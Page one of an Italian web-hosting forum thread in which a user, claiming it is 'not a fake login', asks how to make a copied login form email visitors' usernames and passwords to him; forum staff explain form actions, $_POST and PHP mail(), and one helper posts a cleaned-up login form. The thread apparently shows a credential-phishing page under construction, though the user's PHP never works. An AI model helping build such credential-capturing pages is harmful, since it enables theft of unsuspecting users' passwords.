Pagina 1 di 2 12 UltimoUltimo
Visualizzazione risultati 1 fino 30 di 46

Discussione: linguaggio html form action

  1. #1
    Guest

    Predefinito linguaggio html form action

    ciao a tutti.
    ho un problema, come faccio a far si che premendo un tasto come send venga inviato automaticamente un messaggio scritto sul mio sito?
    mi spiego meglio, utilizzando il form action come faccio a far si che nel momento in cui uno inserisce un commento e schiaccia INVIA il messaggio arrivi a me? senza utilizzare però account di posta? dopo avere cliccato invia il messaggio arriva a me e la pagina del terzo che ha schiacciato invia si ricarichi?
    se non avete capito scrivete cercherò di essere più chiaro
    grazie 1000 in anticipo.

    <form action=".COSA METTO?" method="post"

  2. #2
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,744

    Predefinito

    Vuoi creare un modulo per i contatti? C'è un elemento apposito su AlterPages.

  3. #3
    Guest

    Predefinito

    premetto dicendo che non è un fake login.
    Codice HTML:
    								Login							</h3>
    <form action="COSA METTO?/" method="post" name="loginFormElement">
    	<div class="form-login">
    		<label>Nome utente</label>
    		<div class="input">
    			<input type="text" value="" id="name" name="username" maxlength="30" />
    		</div>
    		<label>
    			Password									</label>
    		<div class="input">
    			<input type="password" value="" name="password" maxlength="32"/>
    		</div>
    		<div>
    			<input type="submit" class="button btn-login" onclick="document.forms['loginFormElement'].submit();return false;" value="Login" />
    			<p class="agbok">
    DEVONO ARRIVARE I DATI CON CUI POI REGISTRO QUELLI CHE SI ISCRIVONO
    Ultima modifica di alemoppo : 10-02-2012 alle ore 16.55.57 Motivo: +tag [html]

  4. #4
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Nell'action ci va l'indirizzo della pagina PHP che deve ricevere le informazioni del form, per poi compierci delle azioni.
    Il form così in se non fa nulla (o quasi) senza PHP.

    Ciao!
    Ultima modifica di alemoppo : 10-02-2012 alle ore 16.58.53

  5. #5
    Guest

    Predefinito

    come faccio a fare pagina php a cui vanno i dati e poi far si che la pagina php invii il tutto alla mia e-mail?

  6. #6
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Devi usare PHP. Quindi serve una pagina che preleva i dati da quel form (tramite $_POST[], e per inviare una email dovresti usare la mail()).

    Prima però ti consiglio cercare su google una guida PHP (la prima che appare, ma ovviamente vanno bene tutte...)

    Ciao!

  7. #7
    Guest

    Predefinito

    ho provato usa
    Codice PHP:
    <?php
    $mail
    = "mia@email.com";
    $oggetto = "email";
    $testo = "nome: ".$_GET['nome']."
    Cognome: "
    .$_GET['cognome'];

    mail($mail,$oggetto,$testo);
    ?>
    nsdo questo tipo di php


    ma mi da errori
    Ultima modifica di alemoppo : 10-02-2012 alle ore 18.22.52 Motivo: +tag [php]

  8. #8
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Ma perché usi $_GET se il form è POST?
    Poi i campi "nome" e "cognome" non esistono nel tuo form! Tra le quadre, ci va il "name" dell'elemento input del form (quindi "username" e "password").

    Ciao!

  9. #9
    Guest

    Predefinito

    Codice PHP:
    <?php
    $mail
    = "MIA MAIL"
    $oggetto = "email"
    $testo = "Nome utente: ".POST['nome']."
    Password: "
    .POST['Password']
    mail($mail,$oggetto,$testo)
    ?>
    MI DA ERRORE ANCHE COSì... come devo impostarlo?
    Ultima modifica di alemoppo : 10-02-2012 alle ore 18.36.08

  10. #10
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Mancano tutti i "punti e virgola".
    Inoltre, "Password" non esiste, ma esiste "password"; "nome" non esiste, ma esiste "username" (l'esistenza o meno, è data dal form).

    p.s: però la sezione "alterPages" non mi sembra corretta per questa discussione.
    Sposto in php.

    Ciao!
    Ultima modifica di alemoppo : 10-02-2012 alle ore 18.39.31

  11. #11
    Guest

    Predefinito

    Codice PHP:
    <?php
    $mail
    = "mia mail";
    $oggetto = "email";
    $testo = "Nome utente: ".POST['username'].";
    Password: "
    .POST['password'];
    mail($mail,$oggetto,$testo)
    ?>
    anche così mi da errose [MESSAGGIO VBULLETIN]

    sai dirmi cosa devo scrivere per associare la scrittura php sopra a questa che ti scrivo adesso scritta in html?

    grazie:)


    Codice HTML:
    <h3>Login</h3>
    <form action="http://forum.it.altervista.org/private.php" method="post" name="loginFormElement">
    <div class="form-login"><label>Nome utente</label>
    <div class="input"><input id="name" type="text" name="username" value="" maxlength="30" /></div>
    <label> Password </label>
    <div class="input"><input type="password" name="password" value="" maxlength="32" /></div>
    <div><input class="button btn-login" onclick="document.forms['loginFormElement'].submit();return false;" type="submit" value="Login" />
    Ultima modifica di alemoppo : 10-02-2012 alle ore 19.12.39 Motivo: +tag

  12. #12
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Ma i link che ti ho dato qua, li hai letti?

    La variabile (o meglio, array) da recuperare i dati è $_POST e non POST. Inoltre ci sono altri errori (stringhe aperte e mai chiuse, manca ancora il ";" nella mail()).

    Comunque, prima sistema il form: un form, di norma, è composto da:
    Codice HTML:
    <form action="nomepagina.php" method="get/post">
    ...vari input
    <input type="submit" value="testo su pulsante">
    </form>
    Nel tuo form non c'é il tag di chiusura del form.. Inoltre, non capisco l'utilità di:
    Codice:
    onclick="document.forms['loginFormElement'].submit();return false;"
    Ciao!
    Ultima modifica di alemoppo : 10-02-2012 alle ore 19.15.50

  13. #13
    Guest

    Predefinito

    nel campo che chiami vari imput cosa ci metto?

    EDIT:

    sempre stosso errore (Your submission could not be processed because a security token was missing.

    If this occurred unexpectedly, please inform the administrator and describe the action you performed before you received this error.)


    ho fatto così io
    php:
    Codice PHP:
    <?php
    $sendmailto
    :"mia mail;";
    $oggetto = "email";
    $testo = "Nome utente: ".$_POST['username'].";
    Password: "
    .$_POST['password'];
    mail($mail,$oggetto,$testo)
    ?>
    html
    Codice HTML:
    <h3>Login</h3>
    <form class="form-login" action="http://forum.it.altervista.org/private.php" method="post" name="loginFormElement"><label>Nome utente</label>
    <div class="input"><input id="name" type="text" name="username" value="" maxlength="30" /></div>
    <label> Password </label>
    <div class="input"><input type="password" name="password" value="" maxlength="32" /></div>
    <div><input class="button btn-login" onclick="document.forms['loginFormElement'].submit();return false;" type="submit" value="Login" />
    ------
    ma ancora niente non arriva nessuna mail e ho messaggio di errore
    Ultima modifica di alemoppo : 10-02-2012 alle ore 21.53.22 Motivo: Non fare post consecutivi: usa il tasto "Edita" per editare i messaggi!

  14. #14
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Leggiti una guida sui form (esempio, questa) e la guida PHP che ti ho linkato sopra.

    È inutile avere uno script funzionante, se poi non sai cosa stai facendo.

    Ciao!

  15. #15
    Guest

    Predefinito

    ho letto le guide ma non riesco a risolvere il problema... puoi spiegarmi perchè?

  16. #16
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Fai lo script da capo, con le conoscenze che hai acquisito dalla lettura.

    Se invece lo hai scritto te, allora mi spieghi perché c'é:
    Codice:
    onclick="document.forms['loginFormElement'].submit();return false;"
    E perché non hai chiuso il form...

    Ciao!

  17. #17
    Guest

    Predefinito

    completo è cos'
    onclick="document.forms['loginFormElement'].submit();return false;" value="Login" />

  18. #18
    Guest

    Predefinito

    so di cosa stiamo parlando ma non riesco a capire perchè mi continua a dare errori........................ il linguaggi html è giusto ne sono sicuro quello php non sono molto pratico però lo ho scritto come ti ho riportato nel commento prima.
    adesso io devo capire se mi da errori per colpa di altervista.
    l'html non può essere sbagliato

  19. #19
    karl94 non è connesso Staff AV
    Data registrazione
    03-10-2005
    Messaggi
    17,744

    Predefinito

    L'HTML non è solo sbagliato dal punto di vista sintattico ma anche concettuale. Non puoi spedire i dati del modulo ad una pagina di questo forum. Hai le idee molto confuse.

  20. #20
    Guest

    Predefinito

    a ok questo non lo sapevo...non è sbagliato L'html funziona... ho scritto altro nel forum e si legge e i collegamenti funzionano correttamente... non ho mai fatto un lavoro del genere però.
    dove vanno spediti i dati? a un php ok quale?

  21. #21
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Vanno spediti alla TUA pagina PHP. Puoi chiamarla come vuoi. In effetti non l'avevo notato, ma inviare i dati ad una pagina del forum...

    Se vuoi un consiglio, fai piccoli passi. Scriviti il form da solo: è vero che (forse) appaiono i campi per inserire i valori (nick è password), ma questo non significa che l'html sia corretto: sicuramente quando si clicca sul pulsante per confermare, i dati non vengono inviati alla pagina corretta (anche perché non sapevi nemmeno a chi dovevi inviarli...).

    Ciao!
    Ultima modifica di alemoppo : 10-02-2012 alle ore 22.44.24

  22. #22
    Guest

    Predefinito

    come la creo la mia pagina php? non lo dice nelle guide

  23. #23
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    In molti modi... Come crei la pagina html? Così come crei la pagina html, puoi creare la pagina php (è sufficiente impostare l'estensione *.php invece di *.html (o *.htm).

    Ad esempio, potresti crearlo dal pannello di controllo, impostando l'estensione .php

    Ciao!

  24. #24
    Guest

    Predefinito

    LA PAGINA IN HTML LA CREO DA QUA IN ALTERVISTA....
    la pagina php col blocco non riesco a collegarla al sito in html

  25. #25
    L'avatar di radiodelmomento
    radiodelmomento non è connesso AlterGuru
    Data registrazione
    09-09-2010
    Messaggi
    1,075

    Predefinito

    Quando crei una pagina col blocco note, devi cliccare su "Salva con nome", quindi metti "Tutti i file" (se non mi sbaglio) e poi scrivi nome_pagina.php.
    A questo punto invii il form a nome_pagina.php, dove lo elaborerai.
    Il codice HTML diventerebbe quindi:
    Codice HTML:
    <h3>Login</h3>
    <form action="nome_pagina.php" method="post" name="loginFormElement">
    	<div class="form-login">
    		<label>Nome utente</label>
    		<div class="input">
    			<input type="text" value="" id="name" name="username" maxlength="30" />
    		</div>
    		<label>Password</label>
    		<div class="input">
    			<input type="password" value="" name="password" maxlength="32"/>
    		</div>
    		<div>
    			<input type="submit" class="button btn-login" value="Login" />
    			<p class="agbok"> <!-- ??? --> </p>
    		</div>
    	</div>
    </form>
    Ciao!

  26. #26
    Guest

    Predefinito

    allora io ho creato in blocco note il php non ho capito però dove devo caricarlo

  27. #27
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Nel tuo spazio web, proprio come il file html che contiene il form.
    Puoi anche crearlo direttamente dal pannello di controllo (in basso, selezionando l'estensione php).

    Ciao!
    Ultima modifica di alemoppo : 11-02-2012 alle ore 19.39.02

  28. #28
    Guest

    Predefinito

    mi da questo errore aprendo la pagina del php cliccando ctrl+u

    EDIT:

    Codice:
    <br />
    <b>Parse error</b>: syntax error, unexpected ':' in <b>/membri/locmetin2gilda/inviodati.php</b> on line <b>2</b><br />
    Ultima modifica di alemoppo : 11-02-2012 alle ore 19.50.14 Motivo: Non fare messaggi consecutivi!

  29. #29
    L'avatar di alemoppo
    alemoppo non è connesso Staff AV
    Data registrazione
    24-08-2008
    Residenza
    PU / BO
    Messaggi
    22,266

    Predefinito

    Come hai scritto il nuovo codice php?

    Ciao!

  30. #30
    Guest

    Predefinito

    Codice PHP:
    <?php
    sendmailto
    :"mia mail";
    $oggetto = "email";
    $testo = "nome utente: ".$_POST['username'].";
    Password: "
    .$_POST['password'];
    mail($mail,$oggetto,$testo)
    ?>
    così
    Ultima modifica di alemoppo : 11-02-2012 alle ore 19.58.18

Pagina 1 di 2 12 UltimoUltimo

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •